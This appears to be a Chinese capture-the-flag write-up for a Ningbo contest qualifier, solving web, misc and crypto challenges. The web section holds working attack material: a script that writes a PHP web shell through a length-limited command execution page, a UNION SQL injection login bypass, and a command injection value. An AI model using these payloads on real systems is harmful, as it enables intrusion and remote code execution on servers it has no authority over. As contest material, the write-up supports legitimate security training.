第四届宁波赛初赛赛题 wp

Web

WEB1

打开页面发现源代码

119.61.19.212:50070/exec.php
第四届宁波赛初赛赛题 wp_第1张图片

GET 1必须小于八位

a.py :

\#!/usr/bin/python

\# -*- coding: UTF-8 -*-

import requests

url = "http://119.61.19.217:50070/exec.php?1={0}"

print("[+]start attack!!!")

with open("payload.txt","r") as f:

for i in f:

print("[*]" + url.format(i.strip()))

requests.get(url.format(i.strip()))

\#检查是否攻击成功

test = requests.get("http://119.61.19.217:50070/exec.php")

if test.status_code == requests.codes.ok:

print("[*]Attack success!!!")

 

$$ Payload.txt:

>hp

>1.p\

>d>\

>\ -\

>e64\

>bas\

>7|\

>XSk\

>Fsx\

>dFV\

>kX0\

>bCg\

>XZh\

>AgZ\

>waH\

>PD9\

>o\ \

>ech\

ls -t>0

sh 0 $$

WEB2

访问:view-source:119.61.19.217:50998/index.php~

发现源码:

第四届宁波赛初赛赛题 wp_第2张图片

然后$pass这块我们要输入和加密md5一样的值, 他们的条件就成立了 就能获得flag了

通过post发送

user: 1’ and 1=2 union select
concat(‘21232f297a57a5a743894a0e4a801fc3’)#

pass : admin

即可拿到flag!

WEB3

在这里插入图片描述

用脚本跑:

import hashlib

from multiprocessing.dummy import Pool as ThreadPool

 

\# MD5截断数值已知 求原始数据

\# 例子 substr(md5(captcha), 0, 6)=60b7ef

 

def md5(s): # 计算MD5字符串

return hashlib.md5(str(s).encode('utf-8')).hexdigest()

 

keymd5 = 'da29f1' #已知的md5截断值

md5start = 0 # 设置题目已知的截断位置

md5length = 6

 

def findmd5(sss): # 输入范围 里面会进行md5测试

key = sss.split(':')

start = int(key[0]) # 开始位置

end = int(key[1]) # 结束位置

result = 0

for i in range(start, end):

\# print(md5(i)[md5start:md5length])

if md5(i)[0:6] == keymd5: # 拿到加密字符串

result = i

print(result) # 打印

break

 

list=[] # 参数列表

for i in range(10): # 多线程的数字列表 开始与结尾

list.append(str(10000000*i) + ':' + str(10000000*(i+1)))

pool = ThreadPool() # 多线程任务

pool.map(findmd5, list) # 函数 与参数列表

pool.close()

pool.join()

 

得到url:119.61.19.217:50071/4e6333ed08642de989aa4af8ec40941d.php第四届宁波赛初赛赛题 wp_第3张图片

119.61.19.217:50071/4e6333ed08642de989aa4af8ec40941d.php?ip=127.0.0.1;ls

命令注入,但是好像环境有问题。

通过dirsearch直接扫描得到flag.php

拿到flag

WEB4

Dirsearch 扫描目录得到

view-source:119.61.19.217:51301//.index.php.swp

第四届宁波赛初赛赛题 wp_第4张图片

只要我们让file_text内容等于config.php的$test666的值就能拿到flag.

view-source:119.61.19.217:51301/index.php?file=config.php

第四届宁波赛初赛赛题 wp_第5张图片

得到config.php内容

第四届宁波赛初赛赛题 wp_第6张图片

得到flag

WEB5

第四届宁波赛初赛赛题 wp_第7张图片

扫描得到1.htaccess

得到

第四届宁波赛初赛赛题 wp_第8张图片

直接访问:119.61.19.217:50987/ctf_C1n_Fl4G

得到flag

misc

音乐和乐谱

尾部有音乐加密的密钥解密一下

第四届宁波赛初赛赛题 wp_第9张图片

第四届宁波赛初赛赛题 wp_第10张图片

彩虹

255,165,0

255,0,0

255,255,0

0,128,0

0,255,255

0,0,255

128,0,128

255165255255255128255255255128128

美丽的小姐姐

直接跑高度,修改就出flag

第四届宁波赛初赛赛题 wp_第11张图片

第四届宁波赛初赛赛题 wp_第12张图片

听雨寻知音

第四届宁波赛初赛赛题 wp_第13张图片

第四届宁波赛初赛赛题 wp_第14张图片

第四届宁波赛初赛赛题 wp_第15张图片

0010 0100 01 0100 1001 100 0001 110 10

…-. .-… .- .-… -…- -… …- --. -.

474FA66E4562828A772BC49CAE52AAD4

11011011101011011001111100010

子曰有云

佛曰解密

U2FsdGVkX19PNzVW96O4NOwIMRlbvcuHUpzSkdInC/086i4qWjwiziuu9rOnZpEFJwX9Qs4G
解 乃斐氏列与斐氏列二之解,加之。

Crypto

RSA

简单的RSA。

直接上工具解

第四届宁波赛初赛赛题 wp_第16张图片

需要注意的是e不要写成16进制的11就好了,然后到在线md5加密加密下就好了

第四届宁波赛初赛赛题 wp_第17张图片

nike

直接python2跑一下,发现sorry字样,查看代码发现有个地方改下就好了
第四届宁波赛初赛赛题 wp_第18张图片

然后得到base64字符串,解密下就得到flag,需要注意的是,有几次加密的md5几个字母会有偏差。
第四届宁波赛初赛赛题 wp_第19张图片

经过测试这个才是最终flag

简单混合密码

4 5 2 1 3
l h o e a
P k R S f
{ p U O }
g j l n a
g S k K R

esOnKoRulkaf}aRlP{gghkpjS

你可能感兴趣的:(CTF,Web,Misc,python)